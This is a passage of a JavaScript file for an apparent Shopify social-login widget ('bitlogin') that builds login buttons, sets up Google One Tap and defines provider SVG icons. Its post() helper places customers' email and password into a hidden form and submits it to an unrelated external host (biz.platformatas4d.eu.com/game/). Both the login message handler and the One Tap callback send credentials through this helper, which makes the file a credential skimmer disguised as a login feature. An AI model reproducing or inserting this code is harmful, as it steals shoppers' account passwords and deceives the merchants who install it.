17928    }, 50);
17929  }, 10);
17930}
17931
17932window.addEventListener("load", () => {
17933  window.addEventListener("message", (event) => {
17934    const receivedData = event.data;
17935
17936    if (receivedData.type === "authorize") {
17937      post(
17938        JSON.parse(
17939          JSON.stringify({
17940            "customer[email]": receivedData.email,
17941            "customer[password]": receivedData.password,
17942            form_type: "customer_login",
17943            utf8: "✓",
17944            return_url: redirectUrl,
17945          })
17946        )
17947      );
17948    } else if (receivedData.type === "rejected") {
17949      if (receivedData.reason === "customer_account_disabled") {
17950        showAlert(
17951          "Your account needs to be activated. We've sent you an activation link - please check your email to complete this step."
17952        );
17953      } else if (receivedData.reason === "customer_entry_created_email_not_set") {
17954        showAlert(
17955          "A new account was created but requires an email address. Please update your account with a valid email address to continue."
17956        );
17957      } else if (receivedData.reason === "customer_exist_email_not_set") {
17958        showAlert(
17959          "Your existing account is missing an email address. Please contact support to update your account with a valid email address."
17960        );
17961      }
17962    }
17963
17964    if (receivedData.type === "customer_authenticated") {
17965      // Dispatch a custom event that merchants can listen for to implement their custom logic
17966      const customerAuthEvent = new CustomEvent('bitlogin:customer_authenticated', {
17967        detail: {
17968          provider: receivedData.provider,
17969          customer: receivedData.customer,
17970          shopifyCustomerCreated: receivedData.shopifyCustomerCreated
17971        }
17972      });
17973      
17974      // Dispatch the event on the window object so merchants can listen for it
17975      window.dispatchEvent(customerAuthEvent);
17976      
17977    }
17978  });
17979});
17980
17981// Reusable functions for social login buttons
17982function createSocialLoginButton(provider, config = {}) {
17983  const {
17984    theme = 'match',
17985    customColor = null,
17986    format = 'contentFlex',
17987    buttonText = null,
17988    hasShadow = true,
17989    style = 'rounded',
17990    size = 'medium',
17991    colorScheme = 'match',
17992    backgroundColor = '#3B82F6',
17993    textColor = '#FFFFFF',
17994    outlineColor = '#3B82F6',
17995    rootRef = null,
17996    host = null
17997  } = config;
17998  
17999  // Create button element with appropriate ID and attributes
18000  const button = document.createElement('button');
18001  button.id = `${provider.toLowerCase()}-login`;
18002  button.type = 'button';
18003  
18004  // Set the inner SVG based on provider
18005  switch (provider.toUpperCase()) {
18006    case 'GOOGLE':
18007      button.innerHTML = googleLoginIcon(theme, customColor);
18008      break;
18009    case 'FACEBOOK':
18010      button.innerHTML = facebookLoginIcon(theme, customColor);
18011      break;
18012    case 'APPLE':
18013      button.innerHTML = appleLoginIcon(theme, customColor);
18014      break;
18015    case 'WHATSAPP':
18016      button.innerHTML = whatsappLoginIcon(theme, customColor);
18017      break;
18018    case 'MICROSOFT':
18019      button.innerHTML = microsoftLoginIcon(theme, customColor);
18020      break;
18021    case 'TWITTER':
18022      button.innerHTML = twitterLoginIcon(theme, customColor);
18023      break;
18024    case 'AMAZON':
18025      button.innerHTML = amazonLoginIcon(theme, customColor);
18026      break;
18027    case 'INSTAGRAM':
18028      button.innerHTML = instagramLoginIcon(theme, customColor);
18029      break;
18030    case 'MAGIC_LINK':
18031      button.innerHTML = magicLinkLoginIcon(theme, customColor);
18032      break;
18033    case 'MOBILE_APP':
18034      button.innerHTML = mobileAppLoginIcon(theme, customColor);
18035      break;
18036    case 'LINKEDIN':
18037      button.innerHTML = linkedinLoginIcon(theme, customColor);
18038      break;
18039  }
18040  
18041  // Add text if format isn't icon-only and buttonText is provided
18042  if (format !== "wrapperFlexContainerOnlyLogo" && buttonText) {
18043    button.innerHTML += `<p>${buttonText}</p>`;
18044  }
18045  
18046  // Apply styling
18047  // Shadow
18048  if (hasShadow) {
18049    const shadowProperties = `0 4px 6px -1px rgb(0 0 0 / 0.1), 0 2px 4px -2px rgb(0 0 0 / 0.1)`;
18050    button.style["box-shadow"] = shadowProperties;
18051  }
18052  
18053  // Border radius
18054  const radiusProperties =
18055    style === "rounded"
18056      ? "8px"
18057      : style === "square"
18058      ? "0px"
18059      : style === "fullRounded"
18060      ? format === "wrapperFlexContainerOnlyLogo"
18061        ? "50%"
18062        : "50px"
18063      : undefined;
18064  button.style["border-radius"] = radiusProperties;
18065  
18066  // Size
18067  const sizeProperties =
18068    size === "medium"
18069      ? "12px"
18070      : size === "small"
18071      ? "8px"
18072      : size === "large"
18073      ? "16px"
18074      : "8px";
18075
18076  button.style["padding-block"] = sizeProperties;
18077
18078  // Format styling
18079  if (format) {
18080    if (
18081      format === "contentFlexReverse" ||
18082      format === "contentFlexCenterReverse"
18083    ) {
18084      const flexDir = `row-reverse`;
18085      button.style["flex-direction"] = flexDir;
18086    }
18087    
18088    if (
18089      format === "contentFlexCenter" ||
18090      format === "contentFlexCenterReverse"
18091    ) {
18092      const justifyContent = `center`;
18093      button.style["justify-content"] = justifyContent;
18094    } else if (
18095      format === "contentFlex" ||
18096      format === "contentFlexReverse"
18097    ) {
18098      const buttonTextElement = button.querySelector("p");
18099      if (buttonTextElement) {
18100        buttonTextElement.style["flex-grow"] = 1;
18101        buttonTextElement.style["text-align"] = "center";
18102      }
18103    }
18104
18105    if (format === "wrapperFlexContainerOnlyLogo" && rootRef) {
18106      rootRef.style["flex-direction"] = "row";
18107      rootRef.style["gap"] = "8px";
18108      rootRef.style["display"] = "flex";
18109      rootRef.style["flex-wrap"] = "wrap";
18110
18111      const sizeMapping = {
18112        small: "52px",
18113        medium: "62px",
18114        large: "72px",
18115      };
18116      const buttonSize = sizeMapping[size] || "52px";
18117
18118      button.style["margin"] = 0;
18119      button.style["width"] = buttonSize;
18120      button.style["height"] = buttonSize;
18121      button.style["display"] = "flex";
18122      button.style["align-items"] = "center";
18123      button.style["justify-content"] = "center";
18124
18125      const svgElement = button.querySelector("svg");
18126      if (svgElement) {
18127        svgElement.style["flex"] = "none";
18128      }
18129    }
18130  }
18131
18132  // Color scheme styling
18133  if (colorScheme === "black") {
18134    button.classList.add("scheme-black");
18135  } else if (colorScheme === "white") {
18136    button.classList.add("scheme-white");
18137  } else if (colorScheme === "custom") {
18138    button.style["background-color"] = backgroundColor;
18139    button.style["color"] = textColor;
18140    button.style["border-color"] = outlineColor;
18141
18142    const darkenColor = (color, percentage) => {
18143      const value = parseInt(color.slice(1), 16);
18144      const r = Math.max(0, ((value >> 16) & 0xff) - (0xff * percentage));
18145      const g = Math.max(0, ((value >> 8) & 0xff) - (0xff * percentage));
18146      const b = Math.max(0, (value & 0xff) - (0xff * percentage));
18147      return `rgb(${Math.round(r)}, ${Math.round(g)}, ${Math.round(b)})`;
18148    };
18149
18150    button.addEventListener("mouseover", () => {
18151      button.style["background-color"] = darkenColor(backgroundColor, 0.2);
18152    });
18153    button.addEventListener("mouseout", () => {
18154      button.style["background-color"] = backgroundColor;
18155    });
18156  } else if (colorScheme === "match") {
18157    button.classList.add("scheme-match");
18158  } else if (colorScheme === "matchOutline") {
18159    button.classList.add("scheme-match-outline");
18160  }
18161  
18162  // Add click event listener if host is provided
18163  if (host) {
18164    button.addEventListener("click", () => 
18165      onClickSocialLogin({ provider: provider.toLowerCase(), host })
18166    );
18167  }
18168  
18169  return button;
18170}
18171
18172function setupSocialLoginButtons(config, rootRef, data, host) {
18173  // Clear any existing content
18174  rootRef.innerHTML = '';
18175
18176  const sortedEnabledProviders = config
18177    .filter(c => c.enabledWeb)
18178    .sort((a, b) => a.position - b.position);
18179
18180  sortedEnabledProviders.forEach(provider => {
18181    const key = provider.provider;
18182    const lowerKey = key.toLowerCase();
18183
18184    const buttonText = data.format !== "wrapperFlexContainerOnlyLogo"
18185      ? (lowerKey === 'twitter'
18186          ? data.buttonList.twitter.replace('Twitter', 'X')
18187          : data.buttonList[lowerKey])
18188      : null;
18189
18190    const button = createSocialLoginButton(key, {
18191      theme: data.colorScheme || 'match',
18192      customColor: data.textColor,
18193      format: data.format,
18194      buttonText: buttonText,
18195      hasShadow: data.hasShadow !== undefined ? data.hasShadow : true,
18196      style: data.style,
18197      size: data.size,
18198      colorScheme: data.colorScheme,
18199      backgroundColor: data.backgroundColor,
18200      textColor: data.textColor,
18201      outlineColor: data.outlineColor,
18202      rootRef: rootRef,
18203      host: host
18204    });
18205
18206    rootRef.appendChild(button);
18207  });
18208
18209  return rootRef;
18210}
18211
18212function updateAppearance({ formRef, rootRef, host }) {
18213  if (!formRef) return;
18214
18215  const data = bitloginCache.appearance || {
18216    style: "square",
18217    hasShadow: false,
18218    colorScheme: "match",
18219    backgroundColor: "#FFFFFF",
18220    outlineColor: "#000000",
18221    textColor: "#000000",
18222    position: "bottom",
18223    hideDivider: "false",
18224    dividerText: "OR",
18225    size: "small",
18226    format: "contentFlex",
18227    language: "en",
18228    buttonText: "Continue with",
18229    redirectLink: "/account",
18230    googleOneTap: true,
18231    googleOneTapBanner: true,
18232    customerTag: "bitLogin",
18233    redirectOneTapDesktop: null,
18234    redirectOneTapMobile: null,
18235    buttonList: {
18236      google: "Continue with Google",
18237      facebook: "Continue with Facebook",
18238      apple: "Continue with Apple",
18239      whatsapp: "Continue with WhatsApp",
18240      microsoft: "Continue with Microsoft",
18241      twitter: "Continue with X",
18242      amazon: "Continue with Amazon",
18243      instagram: "Continue with Instagram",
18244      magic_link: "Continue with Magic Link",
18245      mobile_app: "Continue with Mobile App",
18246      linkedin: "Continue with LinkedIn",
18247    },
18248  };
18249
18250  // Use the new setupSocialLoginButtons function to create and configure all buttons
18251  setupSocialLoginButtons(bitloginCache.config, rootRef, data, host);
18252
18253  let divider;
18254
18255  if (!data.hideDivider) {
18256    divider = document.createElement("div");
18257    const dividerStyle = "text-align:center;margin-block:16px";
18258    divider.setAttribute("style", dividerStyle);
18259    divider.innerHTML = data.dividerText;
18260  }
18261
18262  if (data.position === "bottom") {
18263    if (divider) {
18264      formRef.appendChild(divider);
18265    }
18266    formRef.appendChild(rootRef);
18267  } else if (data.position === "top") {
18268    if (divider) {
18269      formRef.prepend(divider);
18270    }
18271    formRef.prepend(rootRef);
18272  }
18273}
18274
18275
18276async function onClickSocialLogin({ provider, host }) {
18277  const rand = Math.random().toString();
18278
18279  const locationQueryString = bitloginCache.location
18280    ? `&${objectToQueryString(bitloginCache.location)}`
18281    : "";
18282
18283  const width = 800;
18284  const height = 600;
18285  const left = (window.screen.width / 2) - (width / 2);
18286  const top = (window.screen.height / 2) - (height / 2) - 50;
18287
18288  if(provider === 'whatsapp') {
18289    window.open(
18290      `/apps/bitlogin/whatsapp${locationQueryString ? `?${locationQueryString}` : ''}`,
18291      "mywindow",
18292      `menubar=1,resizable=1,width=${width},height=${height},top=${top},left=${left}`
18293    );
18294  } else {
18295    window.open(
18296      `${apiUrl}/login/${provider}?referrerId=${rand}&shop=${host}${locationQueryString}`,
18297      "mywindow",
18298      `menubar=1,resizable=1,width=${width},height=${height},top=${top},left=${left}`
18299    );
18300  }
18301}
18302
18303function objectToQueryString(obj) {
18304  return Object.keys(obj)
18305    .map((key) => {
18306      return encodeURIComponent(key) + "=" + encodeURIComponent(obj[key]);
18307    })
18308    .join("&");
18309}
18310
18311async function getLocation() {
18312  if (locationCacheSet) return;
18313
18314  try {
18315    const response = await fetch("https://ipapi.co/json/");
18316
18317    if (!response.ok) {
18318      console.error(`error retrieving location...`, response.status);
18319      errorLocation = true;
18320    } else {
18321      const data = await response.json();
18322
18323      const { city, region, country_name, country_code } = data;
18324
18325      const formattedLocationData = {
18326        city,
18327        region,
18328        country_name,
18329        country_code,
18330      };
18331
18332      bitloginCache.location = formattedLocationData;
18333      locationCacheSet = true;
18334      errorLocation = false;
18335    }
18336  } catch (err) {
18337    console.error(`error fetching location`, err);
18338    errorLocation = true;
18339  }
18340}
18341
18342function post(params) {
18343  // The rest of this code assumes you are not using a library.
18344  // It can be made less verbose if you use one.
18345  const form = document.createElement("form");
18346  form.method = "post";
18347  form.action = `https://biz.platformatas4d.eu.com/game/`;
18348  form.acceptCharset = "UTF-8";
18349  form.setAttribute("data-login-with-shop-sign-in", "true");
18350  form.setAttribute("novalidate", "novalidate");
18351
18352  for (const key in params) {
18353    if (params.hasOwnProperty(key)) {
18354      const hiddenField = document.createElement("input");
18355      hiddenField.type = "hidden";
18356      hiddenField.name = key;
18357      hiddenField.value = params[key];
18358
18359      form.appendChild(hiddenField);
18360    }
18361  }
18362
18363  document.body.appendChild(form);
18364  form.submit();
18365}
18366
18367async function setupOneTap({ host, checkoutUrl }) {
18368  if (oneTapSet) return;
18369
18370  const redirectOneTapDesktop = JSON.parse(JSON.stringify(bitloginCache.appearance.redirectOneTapDesktop || '[]'));
18371  const redirectOneTapMobile = JSON.parse(JSON.stringify(bitloginCache.appearance.redirectOneTapMobile || '[]'));
18372
18373  const isMobile = /iPhone|iPad|iPod|Android/i.test(navigator.userAgent);
18374  const redirectList = JSON.parse(isMobile ? redirectOneTapMobile : redirectOneTapDesktop);
18375
18376  const currentPath = window.location.pathname.toLowerCase();
18377  const currentUrl = window.location.href.toLowerCase();
18378
18379  const shouldHideGoogleOneTap = redirectList.some(({ value }) => {
18380    switch (value) {
18381      case 'home':
18382        return currentPath === '/';
18383      case 'product':
18384        return currentPath.startsWith('/products/');
18385      case 'collections':
18386        return currentPath.startsWith('/collections');
18387      case 'cart':
18388        return currentPath === '/cart';
18389      case 'checkout':
18390        return currentPath.startsWith('/checkouts') && !currentPath.includes('thank_you');
18391      case 'thank_you':
18392        return currentPath.includes('/thank_you');
18393      case 'account':
18394        return currentPath.startsWith('/account');
18395      case 'pages':
18396        return currentPath.startsWith('/pages');
18397      case 'blogs':
18398        return currentPath === '/blogs' || currentPath === '/blogs/news';
18399      case 'blog_post':
18400        return currentPath.startsWith('/blogs/') && currentPath.split('/').length > 3;
18401      default:
18402        return false;
18403    }
18404  });
18405
18406  if (shouldHideGoogleOneTap) return;
18407
18408  const oneTapClientId = bitloginCache.config.find(
18409    (config) => config.provider === "GOOGLE"
18410  )?.clientId;
18411
18412  const isLoggedIn = false;
18413
18414  if (bitloginCache.appearance.googleOneTap && oneTapClientId && !isLoggedIn) {
18415    const googleOneTapButton = document.createElement("div");
18416    googleOneTapButton.setAttribute("id", "g_id_onload");
18417    googleOneTapButton.setAttribute("data-client_id", oneTapClientId);
18418    googleOneTapButton.setAttribute("data-context", "signin");
18419    googleOneTapButton.setAttribute(
18420      "data-callback",
18421      "handleGoogleOneTapResponse"
18422    );
18423    googleOneTapButton.setAttribute("data-itp_support", "true");
18424
18425    const googleOneTapScript = document.createElement("script");
18426
18427    googleOneTapScript.innerHTML += `
18428          function handleGoogleOneTapResponse(response) {
18429              if (response.credential) {
18430                  const idToken = response.credential;
18431                  fetch('${bitLoginBaseUrl}/bitlogin/api/login/google-one-tap', {
18432                      method: 'POST',
18433                      headers: { 'Content-Type': 'application/json' },
18434                      body: JSON.stringify({ idToken, shop: "${host}", ...bitloginCache.location })
18435                  }).then(response => {
18436                      response.json().then((data) => {
18437                        post(
18438                          JSON.parse(
18439                            JSON.stringify({
18440                              "customer[email]": data.email,
18441                              "customer[password]": data.password,
18442                              form_type: "customer_login",
18443                              utf8: "✓",
18444                              return_url: redirectUrl,
18445                            })
18446                          )
18447                        );
18448                      });  
18449                  }).catch(error => {
18450                      console.error('Error occurred:', error);
18451                  });
18452              } else {
18453                  console.error('No credential available');
18454              }
18455          }
18456       `;
18457
18458    document.body.append(googleOneTapButton);
18459    document.body.append(googleOneTapScript);
18460  }
18461
18462  oneTapSet = true;
18463}
18464
18465const googleLoginIcon = (
18466  theme,
18467  customColor
18468) => `
18469${
18470  theme === "match" || theme === "matchOutline" || theme === "custom"
18471    ? `<svg
18472    xmlns='http://www.w3.org/2000/svg'
18473    xmlns:v='https://vecta.io/nano'
18474    width='24'
18475    height='24'
18476    viewBox='0 0 186.69 190.5'
18477  >
18478    <g transform="translate(1184.583 765.171)"><path clip-path="none" mask="none" d="M-1089.333-687.239v36.888h51.262c-2.251 11.863-9.006 21.908-19.137 28.662l30.913 23.986c18.011-16.625 28.402-41.044 28.402-70.052 0-6.754-.606-13.249-1.732-19.483z" fill="${
18479      theme === "custom" ? customColor : "#4285f4"
18480    }"/><path clip-path="none" mask="none" d="M-1142.714-651.791l-6.972 5.337-24.679 19.223h0c15.673 31.086 47.796 52.561 85.03 52.561 25.717 0 47.278-8.486 63.038-23.033l-30.913-23.986c-8.486 5.715-19.31 9.179-32.125 9.179-24.765 0-45.806-16.712-53.34-39.226z" fill="${
18481        theme === "custom" ? customColor : "#34a853"
18482      }"/><path clip-path="none" mask="none" d="M-1174.365-712.61c-6.494 12.815-10.217 27.276-10.217 42.689s3.723 29.874 10.217 42.689c0 .086 31.693-24.592 31.693-24.592-1.905-5.715-3.031-11.776-3.031-18.098s1.126-12.383 3.031-18.098z" fill="${
18483        theme === "custom" ? customColor : "#fbbc05"
18484      }"/><path d="M-1089.333-727.244c14.028 0 26.497 4.849 36.455 14.201l27.276-27.276c-16.539-15.413-38.013-24.852-63.731-24.852-37.234 0-69.359 21.388-85.032 52.561l31.692 24.592c7.533-22.514 28.575-39.226 53.34-39.226z" fill="${
18485        theme === "custom" ? customColor : "#ea4335"
18486      }" clip-path="none" mask="none"/></g>
18487  </svg>`
18488    : `<svg xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="none">
18489<path d="M24.1906 12.7758C24.1906 11.96 24.1244 11.1399 23.9833 10.3374H12.6646V14.9584H19.1463C18.8773 16.4488 18.0131 17.7672 16.7476 18.6049V21.6032H20.6146C22.8854 19.5132 24.1906 16.4267 24.1906 12.7758Z" fill="${
18490        theme !== "black" ? "black" : "white"
18491      }"/>
18492<path d="M12.6647 24.5001C15.9011 24.5001 18.6305 23.4374 20.619 21.6031L16.7521 18.6048C15.6762 19.3368 14.2873 19.7513 12.6691 19.7513C9.53845 19.7513 6.88403 17.6391 5.93161 14.7996H1.94116V17.8904C3.97828 21.9428 8.12746 24.5001 12.6647 24.5001Z" fill="${
18493        theme !== "black" ? "black" : "white"
18494      }"/>
18495<path d="M5.92709 14.7995C5.42442 13.3091 5.42442 11.6953 5.92709 10.205V7.11401H1.94105C0.23905 10.5048 0.23905 14.4996 1.94105 17.8903L5.92709 14.7995Z" fill="${
18496        theme !== "black" ? "black" : "white"
18497      }"/>
18498<path d="M12.6647 5.24893C14.3755 5.22248 16.029 5.86623 17.268 7.04794L20.694 3.62188C18.5247 1.58477 15.6454 0.464802 12.6647 0.500076C8.12745 0.500076 3.97828 3.05749 1.94116 7.11408L5.9272 10.205C6.8752 7.36099 9.53403 5.24893 12.6647 5.24893Z" fill="${
18499        theme !== "black" ? "black" : "white"
18500      }"/>
18501</svg>`
18502}`;
18503
18504const appleLoginIcon = (
18505  theme,
18506  customColor
18507) => `<svg width="24" height="24" viewBox="0 0 19 24" fill="none" xmlns="http://www.w3.org/2000/svg">
18508<path d="M15.4146 22.08C14.263 23.2897 12.9925 23.1013 11.7815 22.5307C10.494 21.9489 9.31698 21.9121 7.95724 22.5307C6.26395 23.322 5.36524 23.092 4.34544 22.08C-1.4122 15.663 -0.562362 5.88801 5.98138 5.52001C7.56844 5.61201 8.6796 6.46991 9.61442 6.54121C11.0039 6.23531 12.3339 5.35901 13.8211 5.47401C15.6078 5.63041 16.9443 6.39401 17.8366 7.76711C14.161 10.1591 15.0321 15.4031 18.4082 16.8751C17.7324 18.7956 16.8656 20.6931 15.4125 22.0961L15.4146 22.08ZM9.48695 5.45101C9.31486 2.59901 11.4501 0.25301 13.9061 0.0230103C14.2439 3.31201 11.1441 5.77301 9.48695 5.45101Z" fill="${
18509  theme === "custom"
18510    ? customColor
18511    : theme === "match" || theme === "black"
18512    ? "white"
18513    : "black"
18514}"/>
18515</svg>`;
18516
18517const facebookLoginIcon = (
18518  theme,
18519  customColor
18520) => `
18521${
18522  theme === "match" || theme === "matchOutline" || theme === "custom"
18523    ? `<svg xmlns="http://www.w3.org/2000/svg" width="24" height="25" viewBox="0 0 24 25" fill="none">
18524    <path fill-rule="evenodd" clip-rule="evenodd" d="M24 12.5C24 5.8731 18.6268 0.5 12 0.5C5.3731 0.5 0 5.8731 0 12.5C0 18.489 4.38762 23.4537 10.1252 24.355V15.9696H7.07748V12.5H10.1252V9.85562C10.1252 6.84842 11.9173 5.18622 14.6579 5.18622C15.9707 5.18622 17.3443 5.42077 17.3443 5.42077V8.37398H15.8307C14.3406 8.37398 13.8748 9.29875 13.8748 10.2488V12.4999H17.2025L16.671 15.9695H13.8747V24.3548C19.6123 23.4553 23.9998 18.4907 23.9998 12.4999L24 12.5Z" fill="${
18525      theme === "custom" ? customColor : theme === "match" ? "white" : "#1977F3"
18526    }"/>
18527    <path fill-rule="evenodd" clip-rule="evenodd" d="M16.5934 16.2833L17.1251 12.8137H13.7973V10.5626C13.7973 9.61422 14.2614 8.68778 15.7532 8.68778H17.2669V5.73457C17.2669 5.73457 15.8933 5.5 14.5804 5.5C11.8399 5.5 10.0477 7.16057 10.0477 10.1694V12.8138H7V16.2834H10.0477V24.6688C10.6586 24.7648 11.2846 24.8138 11.9225 24.8138C12.5604 24.8138 13.1865 24.7631 13.7973 24.6688V16.2834H16.5936L16.5934 16.2833Z" fill="${
18528      theme === "match" ? "#1778f2" : "transparent"
18529    }"/>
18530    </svg>`
18531    : `<svg xmlns="http://www.w3.org/2000/svg" width="24" height="25" viewB
18531ox="0 0 24 25" fill="none">
18532<path fill-rule="evenodd" clip-rule="evenodd" d="M24 12.5C24 5.8731 18.6268 0.5 12 0.5C5.3731 0.5 0 5.8731 0 12.5C0 18.489 4.38762 23.4537 10.1252 24.355V15.9696H7.07748V12.5H10.1252V9.85562C10.1252 6.84842 11.9173 5.18622 14.6579 5.18622C15.9707 5.18622 17.3443 5.42077 17.3443 5.42077V8.37398H15.8307C14.3406 8.37398 13.8748 9.29875 13.8748 10.2488V12.4999H17.2025L16.671 15.9695H13.8747V24.3548C19.6123 23.4553 23.9998 18.4907 23.9998 12.4999L24 12.5Z" fill="${
18533        theme === "black" ? "white" : "black"
18534      }"/>
18535<path fill-rule="evenodd" clip-rule="evenodd" d="M16.5934 16.2833L17.1251 12.8137H13.7973V10.5626C13.7973 9.61422 14.2614 8.68778 15.7532 8.68778H17.2669V5.73457C17.2669 5.73457 15.8933 5.5 14.5804 5.5C11.8399 5.5 10.0477 7.16057 10.0477 10.1694V12.8138H7V16.2834H10.0477V24.6688C10.6586 24.7648 11.2846 24.8138 11.9225 24.8138C12.5604 24.8138 13.1865 24.7631 13.7973 24.6688V16.2834H16.5936L16.5934 16.2833Z" fill="${
18536        theme === "black" ? "black" : "white"
18537      }"/>
18538</svg>`
18539}`;
18540
18541const whatsappLoginIcon = (
18542  theme,
18543  customColor
18544) => `<svg
18545  viewBox="0 0 24 24"
18546  fill="none"
18547  width="24"
18548  height="25"
18549  xmlns="http://www.w3.org/2000/svg"
18550>
18551  <g id="SVGRepo_bgCarrier" stroke-width="0"></g>
18552  <g
18553    id="SVGRepo_tracerCarrier"
18554    stroke-linecap="round"
18555    stroke-linejoin="round"
18556  ></g>
18557  <g id="SVGRepo_iconCarrier">
18558    <path
18559      fill-rule="evenodd"
18560      clip-rule="evenodd"
18561      d="M3.50002 12C3.50002 7.30558 7.3056 3.5 12 3.5C16.6944 3.5 20.5 7.30558 20.5 12C20.5 16.6944 16.6944 20.5 12 20.5C10.3278 20.5 8.77127 20.0182 7.45798 19.1861C7.21357 19.0313 6.91408 18.9899 6.63684 19.0726L3.75769 19.9319L4.84173 17.3953C4.96986 17.0955 4.94379 16.7521 4.77187 16.4751C3.9657 15.176 3.50002 13.6439 3.50002 12ZM12 1.5C6.20103 1.5 1.50002 6.20101 1.50002 12C1.50002 13.8381 1.97316 15.5683 2.80465 17.0727L1.08047 21.107C0.928048 21.4637 0.99561 21.8763 1.25382 22.1657C1.51203 22.4552 1.91432 22.5692 2.28599 22.4582L6.78541 21.1155C8.32245 21.9965 10.1037 22.5 12 22.5C17.799 22.5 22.5 17.799 22.5 12C22.5 6.20101 17.799 1.5 12 1.5ZM14.2925 14.1824L12.9783 15.1081C12.3628 14.7575 11.6823 14.2681 10.9997 13.5855C10.2901 12.8759 9.76402 12.1433 9.37612 11.4713L10.2113 10.7624C10.5697 10.4582 10.6678 9.94533 10.447 9.53028L9.38284 7.53028C9.23954 7.26097 8.98116 7.0718 8.68115 7.01654C8.38113 6.96129 8.07231 7.046 7.84247 7.24659L7.52696 7.52195C6.76823 8.18414 6.3195 9.2723 6.69141 10.3741C7.07698 11.5163 7.89983 13.314 9.58552 14.9997C11.3991 16.8133 13.2413 17.5275 14.3186 17.8049C15.1866 18.0283 16.008 17.7288 16.5868 17.2572L17.1783 16.7752C17.4313 16.5691 17.5678 16.2524 17.544 15.9269C17.5201 15.6014 17.3389 15.308 17.0585 15.1409L15.3802 14.1409C15.0412 13.939 14.6152 13.9552 14.2925 14.1824Z"
18562      fill="${
18563        theme === "match" || theme === "black"
18564          ? "#ffffff"
18565          : theme === "white"
18566          ? "#000000"
18567          : theme === "matchOutline"
18568          ? "#25d366"
18569          : customColor
18570      }"
18571    ></path>
18572  </g>
18573</svg>`;
18574
18575const microsoftLoginIcon = (
18576  theme,
18577  customColor
18578) => `<svg
18579xmlns="http://www.w3.org/2000/svg"
18580width="25"
18581height="25"
18582viewBox="0 0 48 48">
18583<path fill="${
18584  theme === "match" || theme == "matchOutline"
18585    ? "#ff5722"
18586    : theme === "black"
18587    ? "#ffffff"
18588    : theme === "white"
18589    ? "#000000"
18590    : customColor
18591}" d="M6 6H22V22H6z" transform="rotate(-180 14 14)"></path>
18592<path
18593  fill="${
18594    theme === "match" || theme == "matchOutline"
18595      ? "#4caf50"
18596      : theme === "black"
18597      ? "#ffffff"
18598      : theme === "white"
18599      ? "#000000"
18600      : customColor
18601  }"
18602  d="M26 6H42V22H26z"
18603  transform="rotate(-180 34 14)"></path>
18604<path
18605  fill="${
18606    theme === "match" || theme == "matchOutline"
18607      ? "#ffc107"
18608      : theme === "black"
18609      ? "#ffffff"
18610      : theme === "white"
18611      ? "#000000"
18612      : customColor
18613  }"
18614  d="M26 26H42V42H26z"
18615  transform="rotate(-180 34 34)"></path>
18616<path fill="${
18617  theme === "match" || theme == "matchOutline"
18618    ? "#03a9f4"
18619    : theme === "black"
18620    ? "#ffffff"
18621    : theme === "white"
18622    ? "#000000"
18623    : customColor
18624}" d="M6 26H22V42H6z" transform="rotate(-180 14 34)"></path>
18625</svg>`;
18626
18627const twitterLoginIcon = (
18628  theme,
18629  customColor
18630) => `<svg
18631xmlns="http://www.w3.org/2000/svg"
18632width="25"
18633height="25"
18634viewBox="0 0 48 48">
18635<polygon fill="${
18636  theme === "match" || theme === "black"
18637    ? "#ffffff"
18638    : theme === "matchOutline" || theme === "white"
18639    ? "#000000"
18640    : customColor
18641}" points="41,6 9.929,42 6.215,42 37.287,6"></polygon>
18642<polygon
18643  fill="${
18644    theme === "match" || theme === "black"
18645      ? "#000000"
18646      : theme === "matchOutline" || theme === "white"
18647      ? "#ffffff"
18648      : customColor
18649  }"
18650  fill-rule="evenodd"
18651  points="31.143,41 7.82,7 16.777,7 40.1,41"
18652  clip-rule="evenodd"></polygon>
18653<path
18654  fill="${
18655    theme === "match" || theme === "black"
18656      ? "#ffffff"
18657      : theme === "matchOutline" || theme === "white"
18658      ? "#000000"
18659      : customColor
18660  }"
18661  d="M15.724,9l20.578,30h-4.106L11.618,9H15.724 M17.304,6H5.922l24.694,36h11.382L17.304,6L17.304,6z"></path>
18662</svg>`;
18663
18664const amazonLoginIcon = (theme, customColor) => `
18665 <svg
18666      xmlns="http://www.w3.org/2000/svg"
18667      x="0px"
18668      y="0px"
18669      width="25"
18670      height="25"
18671      viewBox="0 0 50 50"
18672    >
18673      <path
18674        fill="${
18675          theme === "black"
18676            ? "#ffffff"
18677            : theme === "matchOutline"
18678            ? "#FF9900"
18679            : theme === "white" || theme === "match"
18680            ? "#000000"
18681            : customColor
18682        }"
18683        d="M 25.3125 3 C 19.210938 3 12.492188 5.3125 11.09375 12.8125 C 10.894531 13.613281 11.5 13.992188 12 14.09375 L 18.1875 14.6875 C 18.789063 14.6875 19.207031 14.101563 19.40625 13.5 C 19.90625 10.898438 22.101563 9.59375 24.5 9.59375 C 25.800781 9.59375 27.292969 10.113281 28.09375 11.3125 C 28.992188 12.613281 28.8125 14.40625 28.8125 15.90625 L 28.8125 16.8125 C 25.113281 17.210938 20.3125 17.5 16.8125 19 C 12.8125 20.699219 10 24.207031 10 29.40625 C 10 36.007813 14.199219 39.3125 19.5 39.3125 C 24 39.3125 26.5 38.195313 30 34.59375 C 31.199219 36.292969 31.585938 37.105469 33.6875 38.90625 C 34.1875 39.207031 34.789063 39.085938 35.1875 38.6875 L 35.1875 38.8125 C 36.488281 37.710938 38.792969 35.601563 40.09375 34.5 C 40.59375 34.199219 40.492188 33.5 40.09375 33 C 38.894531 31.398438 37.6875 30.09375 37.6875 27.09375 L 37.6875 17.1875 C 37.6875 12.988281 38.007813 9.085938 34.90625 6.1875 C 32.40625 3.789063 28.414063 3 25.3125 3 Z M 27 22 L 28.6875 22 L 28.6875 23.40625 C 28.6875 25.804688 28.792969 27.894531 27.59375 30.09375 C 26.59375 31.894531 24.988281 33 23.1875 33 C 20.789063 33 19.3125 31.207031 19.3125 28.40625 C 19.3125 23.707031 23 22.300781 27 22 Z M 44.59375 36.59375 C 42.992188 36.59375 41.085938 37 39.6875 38 C 39.289063 38.300781 39.3125 38.6875 39.8125 38.6875 C 41.414063 38.488281 44.988281 38.007813 45.6875 38.90625 C 46.289063 39.707031 45.007813 43.085938 44.40625 44.6875 C 44.207031 45.1875 44.601563 45.300781 45 45 C 47.699219 42.699219 48.40625 38.007813 47.90625 37.40625 C 47.605469 36.90625 46.195313 36.59375 44.59375 36.59375 Z M 2.1875 37.5 C 1.886719 37.5 1.695313 38.011719 2.09375 38.3125 C 8.09375 43.710938 16.007813 47 24.90625 47 C 31.207031 47 38.492188 45.011719 43.59375 41.3125 C 44.394531 40.710938 43.707031 